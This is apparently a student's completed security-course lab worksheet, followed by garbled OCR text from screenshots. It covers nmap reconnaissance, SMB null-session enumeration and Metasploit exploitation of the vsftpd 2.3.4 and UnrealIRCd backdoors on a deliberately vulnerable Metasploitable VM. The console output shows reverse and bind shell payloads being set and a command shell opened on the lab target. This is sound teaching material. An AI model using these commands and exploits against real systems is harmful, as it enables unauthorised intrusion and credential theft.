Prerequisites:
1. Review of virtualization and virtualized networking (slide content).
2. Review discussion and working knowledge of Linux commands (slide content and tutorials). 
3. Kali Linux Virtual Machine
4. Metasploitable Virtual Machine

Objectives:
The main purpose of this week’s exercise is getting started with Metasploit and understanding how to wield it appropriately for basic exploits.

Call for Help:
Do your best to try the tasks below, if you’re confused, or need help, feel free to email or text me at any point and I will gladly try to help you.  If you’re having an Issue, chances are, other people are as well, and I can update the instructions/comments/add content as necessary.

Tasks:

Setup
1. You’ll need both Kali and Metasploitable Running simultaneously.  We’ll be using virtual machines to run both Kali and Metasploitable simultaneously.  This is nearly identical to an adversary on a local network with a vulnerable asset.
2. For this to work correctly, your virtual machines should be set to either NAT, or private network.  Note in a private network they will not be able to talk to the outside world.

Intro:
1.  Review the following sections from Offensive Security’s Website
1. Introduction
2. Metasploit Fundamentals
3. Information Gathering

https://www.offensive-security.com/metasploit-unleashed/

2. Remember, your Kali virtual machine, and metasploitable virtual machines can easily be redownloaded if you encounter an error.  Do not be afraid to experiment.



Initial Vectors:

1. Determine the IP address of both your Kali Virtual Machine and the Metasploitable Virtual Machine.  You will need these during the course of the exercises.

2. Verify that you can ping from Kali to metasploitable and from metasploitable to Kali.  This will confirm you have connectivity between both virtual machines.

Recon:
1. Execute a nmap scan against the metasploitable.

nmap -v -sV <IP Address of Target>
What ports are open on the target host?  What services does this imply might be available?
	21
	ftp

	22
	ssh

	23
	telnet

	25
	smtp

	53
	domain

	80
	http

	111
	rpcbind

	139
	netbios-ssn

	449
	netbios-ssn

	512
	exec

	513
	login

	514
	shell

	1099
	java-rmi

	1524
	bindshell

	2049
	nfs

	2121
	ftp

	3306
	mysql

	5432
	posgresql

	5900
	vnc

	6000
	X11

	6667
	irc

	8009
	ajp13

	8180
	http




2. Let’s see if we can determine the operating system of this host.

What nmap command would we use to determine the running operating system?
nmap –A

What is the running operating system of the metasploitable machine?  Provide a screenshot.


3. It looks like there’s a web server (port 80 is open), running on this host.  

What can we determine by visiting that website?


4. Let’s try enumerating user accounts on the device using the nmap scripting engine.

nmap -script smb-enum-users.nse -p- <IP Address of Target>

Provide a screenshot.



5. Rpcclient is a Linux tool used for executing client side Microsoft Remote Procedure Call functions. 

However, since 2020 kali has changed how some of this functionality works, if you’re running kali 2019 or later, please add the following line to your /etc/samba/smb.conf file under the global section.  Note, you must be root to edit this file.

client min protocol = NT1

See Below:



A null session is a connection with a samba or SMB server that does not require authentication with a password. No username or password is needed to set-up the connection and therefore it is called a null session. The allowance of null sessions was enabled by default on legacy systems but has been disabled from Windows XP SP2 and Windows Server 2003. The connection uses port 445 which is an open port on out target host as we’ve seen in the results of the port scan.

Let’s open up a new terminal window and set up a null session with the Metasploitable 2 samba server using the following command:

rpcclient -U “” [target IP address]

The -U option defines a null username followed by the IP address of the Metasploitable 2 VM. 

You will be asked for a password, just press enter to continue:

Then let’s query using an rpcclient command querydominfo.

What does this tell you about the machine?  How many users are there, how many are available?

Next let’s see what users we can find by running the command enumdomusers

Pick a user you enumerated, what can you tell me about the user with the queryuser <username> command?

6. Software developers and hackers like to make repetitive functions easy, try using the enum4linux command on the target host 

What does command do?  Be detailed.

Target/Weaponize

7. We note that in earlier steps we identified that an FTP Server is running (on port 21).  This appears to be a common FTP server VSFTPD.

Read the below, what does this tell you?
There is a backdoor vulnerability present in the version of the VSFTPD server running on Metasploitable.


https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
We’ll cover this in detail another time, but what does the code tell you?  Why is it vulnerable?  If you can’t figure out specifically, do more research.  Provide insight below.  Can you execute the vulnerability manually?

The vulnerability allows for remote code execution. The vulnerability was introduced by a malicious modification to the source code of vsftpd that created a backdoor. Essentially, it attempts to connect to the ftp server, and then deploys a payload defined elsewhere. First, it connects to the service port, then it ensures that the server is configured in a way that the exploit will work, and then, it enters a password and immediately deploys the encoded payload through the socket.

8. It turns out nmap has a script to help us here.

nmap -script ftp-vsftpd-backdoor -p 21 <IP Address of Target>

Note:  https://nmap.org/nsedoc/scripts/ftp-vsftpd-backdoor.html

9. Maybe Metasploit has a module to handle this exploitation.  Search the open web for details about a Metasploit module for vsftpd.  Also you can search Metasploit itself.  

Provide a screenshot for how you found out there is a module for this issue.


Deliver and Exploit!
10. Start Metasploit by using the command msfconsole

11. Setup to use the exploit using use exploit/unix/ftp/vsftpd_234_backdoor

12. See what options are required using the show options command

13. Set the rhost option using set rhosts <IP Address of Target>

What does this command do?
RHOST is the IP address of the target (remote host). The command tells the exploit where to send data.

14. Run the command by using run

15. When the exploit is completed you will see a “Command shell session 1…”.  Execute the traditional linux command whoami and sudo ifconfig

What’s going on, what did the exploit accomplish?
The command deployed the payload over FTP. The payload then established a remote shell connection.

16. Recall and investigate where and how linux traditionally stores the user and password information, any ideas on what can be done to find the passwords?

17. What could be done to fix this vulnerability?  Be detailed in your response.
The vulnerability works by allowing a malicious files to be sent through a backdoor in vsftpd. The easiest way to remove this vulnerability is to revert the commit that added the backdoor.

Next Steps/Your Turn:
You should note that there is an IRC server running.  Your objective is to gain root level privileges on the virtual machine utilizing Metasploit.  Good luck.
Provide a screenshot of the commands executed and the linux date/time using the date command. 
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| status: Autocommit

|_ salt: MIn4R"RT3>~159-usk"t

5432/tcp open postgresql PostgresQL DB 8.3.0 - 8.3.7

|_ssl-date: 2024-11-15T14:31:13+ +185 from scanner time

| ssl-cert: Subject: commonName-ubuntu8o4-base.localdomain/organizationName=0C0SA/stateOrProvinceName=There is no such thing outside US/countryName=XX

| Not valid before: 2010-3-17T1. 5
| _Not valid after: 2010-04-16T14:07:45

5900/tcp open vnc VNC (protocol 3.3)
| vnc-info:

] Protocol version: 3.3

| Security types:

I VNC Authentication (2)

6000/tcp open X11 (access denied)

6667/tcp open irc UnrealIRCd

8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1

|_http-favicon: Apache Tomcat

I nttp-server-header: Apache-Coyote/1.1

| http-title: Apache Tomcat/s.5

MAC Address: 08: $EBIEEIDF (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X

Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; 0Ss: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results
|_clock-skew: mea:
| smb-security-mode
| account_used: <blank>

authentication_level: user

challenge_response: supported

message_signing: disabled (dangerous, but default)
smb-os-discovery:

0s: Unix (samba 3.0.20-Debian)

Computer name: metasploitable

NetBIOS computer name:

Domain name: localdomain

FQDN: metasploitable.localdomain

System time: 2024-11-15T09:31:02-05:00
nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
smb2-time: Protocol negotiation failed (SMB2)

1h15m17s, deviation: 2h30m00s, median: 17s

TRACEROUTE
HOP RTT  ADDRESS
1 0.22 ms 192.168.56.102

0 and Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 64.91 seconds
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Warning: Never expose this M to an untrusted network!
Contact: msfdevlatimetasploit.con

Login with msfadnin/msfadnin to get started

« TWiki
« phpMyAdmin
« Mutillidae

« DVWA

+ WebDAV.
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Host script results:
| smb-enum-users:

METASPLOTTABLE\backup (RID: 1068)
Full name: backup

Flags: Account disabled, Normal user account
METASPLOTTABLE\bin (RID: 1004)

Full name: bin

Flags: Account disabled, Normal user account
METASPLOTTABLE\bind (RID: 1210)

Flags: Account disabled, Normal user account
METASPLOTTABLE\daemon (RID: 1002)

Full name: daemon

Flags: Account disabled, Normal user account
METASPLOTTABLE\dhcp (RID: 1202)

Flags: Account disabled, Normal user account
METASPLOTTABLE\distccd (RID: 1222)

Flags: Account disabled, Normal user account
METASPLOTTABLE\ftp (RID: 1214)

Flags: Account disabled, Normal user account
METASPLOTTABLE\games (RID: 1010)

Full name: games

Flags: Account disabled, Normal user account

METASPLOITABLE\gnats (RID: 1082)
Full name: Gnats Bug-Reporting System (admin)

Flags: Account disabled, Normal user account
METASPLOTTABLE\irc (RID: 1078)

Full name: ircd

Flags: Account disabled, Normal user account
METASPLOTTABLE\Klog (RID: 1206)

Flags: Account disabled, Normal user account
METASPLOTTABLE\Libuuid (RID: 12

Flags: Account disabled, Normal user account
METASPLOTTABLE\List (RID: 1076)

Full name: Mailing List Manager

Flags: Account disabled, Normal user account

METASPLOTTABLE\lp (RID: 1014)
Full name: 1p

Flags: Account disabled, Normal user account
METASPLOTTABLE\mail (RID: 1016)

Full name: mail

Flags: Account disabled, Normal user account
METASPLOTTABLE\man (RID: 1012)

Full name: man

Flags: Account disabled, Normal user account
METASPLOITABLE\msfadmin (RID: 3

Full name: msfadmin,,

Flags: Normal user account

METASPLOTTABLE\mysql (RID: 1218)

Full name: MysqL Server,

Flags: Account disabled, Normal user account
METASPLOTTABLE\news (RID: 1018)

Full name: news
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Global Settings

[global]

## Browsing/Identififfation #

# Change this to the workgroup/NT-domain name your Samba server will part
o workgroup = WORKGROUP

st Networking it

The specific set of interfaces / networks to bind t

THE (2 7 GRATR 4D AriCH 60 ToLE) (5 o1 1 SAbeEr e

interface names are normally preferred
;i interfaces = 127

P

only bind to the named interfaces and/or networks; you must use the
'interfaces’ option above to use this.

It is recommended that you enable this feature if your Samba machine is

not protected by a firewall or is a firewall itself. However, this

option cannot handle dynamic or non-broadcast interfaces correctly.
bind interfaces only

cEmmaww

#min Client Protocol
client min protocol

st Debugging/Accolyting #

# This tells samba to use a separate log file for each machine
# that connects
Tog file

var/log/samba/log. %

# Cap the size of the individual log files (in KiB).
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'VSFTPD v2.3.4 Backdoor Command Execution

Disclosed Created
o7/03/2011 0573072018
Description

“This module exploits a malicious backdoor that was added to the VSFTPD download archive. This backdoor
was introduced into the vsftpd-23.4 tar g2 archive between June 30th 2011 and July 15 2011 according to the
most recent nformation available. This backdoor was removed on July 3rd 2011

Author(s)

« ham <x@ham.io>
« MC<mc@metasploit.com>

Platform

Development
- Source Code~
« History

Module Options
To disply the available options, load the o within the Metasplit console and run the commands ‘show
options’ o ‘show advanced':

1 st > use explott/untx/Fip/ustipd_ 234 backseor

2 st explott (vsfipa_234_backdoor) > show targets

& st explott (ustipa 2%,

ackdoor) > set TARGET < target-id >
5 st explott (vsftpd_234_backioor) > shew options.

s explott (usttpa_234_backseor) > exploit
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$ msfconsole
Metasploit tip: View advanced module options with advanced
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=[ metasploit v6.4.34-dev
2461 exploits - 1267 auxiliary - 431 post
1468 payloads - 49 encoders - 11 nops

9 evasion

Metasploit Documentation: https://docs.metasploit.con/

nsf6 > search vsftpd

Matching Modules

# Name Disclosure Date Rank Check Description
0 auxiliary/dos/ftp/} 232 2011-02-03 normal  Yes 2.3.2 Denial of Service
1 exploit/unix/ftp/] | 234_backdoor 2011-07-03 excellent No v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

nsfe > Il
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|| Invalid parameter "PAYLOAD", use "show -h" for more information
15£6 exploit(unix/ire/unreat ired 2201 backdoor) > show payloads

Compatible Payloads

& Name Disclosure Date Rank  Check Description

0 payload/cnd/unix/adduser o normal No  Add user with useradd

1 payload/cmd/unix/bind_perl o nornal No  Unix Command Shell, Bind TcP (via Perl)

2 payload/cmd/unix/bind_perl_ipvé 5 normal No  Unix Command Shell, Bind TCP (via perl) IPv6

3 payload/cmd/unix/bind_ruby » normal No  Unix Command Shell, Bind TCP (via Ruby)

4 payload/cmd/unix/bind_ruby_ipvé g normal No  Unix Command Shell, Bind TCP (via Ruby) IPV6

5 payload/cmd/unix/generic o normal No  Unix Command, Generic Command Execution

6  payload/cmd/unix/reverse . normal No Unix Command Shell, Double Reverse TCP (telnet)
7 payload/cmd/unix/reverse_bash_telnet_ssl . nornal No  Unix Command Shell, Reverse TCP SSL (telnet)

8  payload/cmd/unix/reverse_perl o normal No  Unix Command Shell, Reverse TCP (via Perl)

9 payload/cmd/unix/reverse_perl_ssl o normal No  Unix Command Shell, Reverse TCP SSL (via perl)
10 payload/cmd/unix/reverse_ruby o normal No  Unix Command Shell, Reverse TCP (via Ruby)

11 payload/cmd/unix/reverse_ruby_ssl o normal No  Unix Command Shell, Reverse TCP SSL (via Ruby)
12 payload/cnd/unix/reverse_ssl_double_telnet . nornal No  Unix Command Shell, Double Reverse TCP SSL (telnet)

msF6 exploit(unix/ivc/unrenl ircd 2201 backdoor) > set payload 6
payload = cmd/unix/reverse
nsf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit

|| 192.168.56.102:6667 - Msf::OptionValidateError One or more options failed to validate: LHOST
[+] Exploit completed, but no session was created

mSF6 exploit( i «/irc/unreal ircd G281 backdoor) > set LHOST 192.168.56.101

LHOST = 192.168.56.101

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit

[] Started reverse TCP double handler on 192.168.56.101:4444

[*] 192.168.56.102:6667 - Connected to 192.168.56.102:6667 ...
:irc.Metasploitable.LAN NOTICE AUTH :%** Looking up your hostname .
:irc.Metasploitable.LAN NOTICE AUTH : % Couldn't resolve your hostname; using your IP address instead

[*] 192.168.56.102:6667 - Sending backdoor command ...

[+] Exploit completed, but no session was created

msf6 exploit(un’«/irc/unreal ired 5261 backdoor) > set payload 1

payload = cmd/unix/bind_perl

nsf6 exploit(unix/irc/unreal_ircd_3281 _backdoor) > exploit

[*] 192.168.56.102:6667 - Connected to 192.168.56.102:6667 ...
:irc.Metasploitable.LAN NOTICE AUTH :%** Looking up your hostname .
:irc.Metasploitable.LAN NOTICE AUTH : % Couldn't resolve your hostname; using your IP address instead

[*] 192.168.56.102:6667 - Sending backdoor command

[*] Started bind TCP handler against 192.168.56.102: 4444

[*] Command shell session 2 opened (192.168.56.101:46751 —> 192.168.56.102:4444) at 2024-11-15 11:44:24 -0500

date
Fri Nov 15 11:08:28 EST 2024




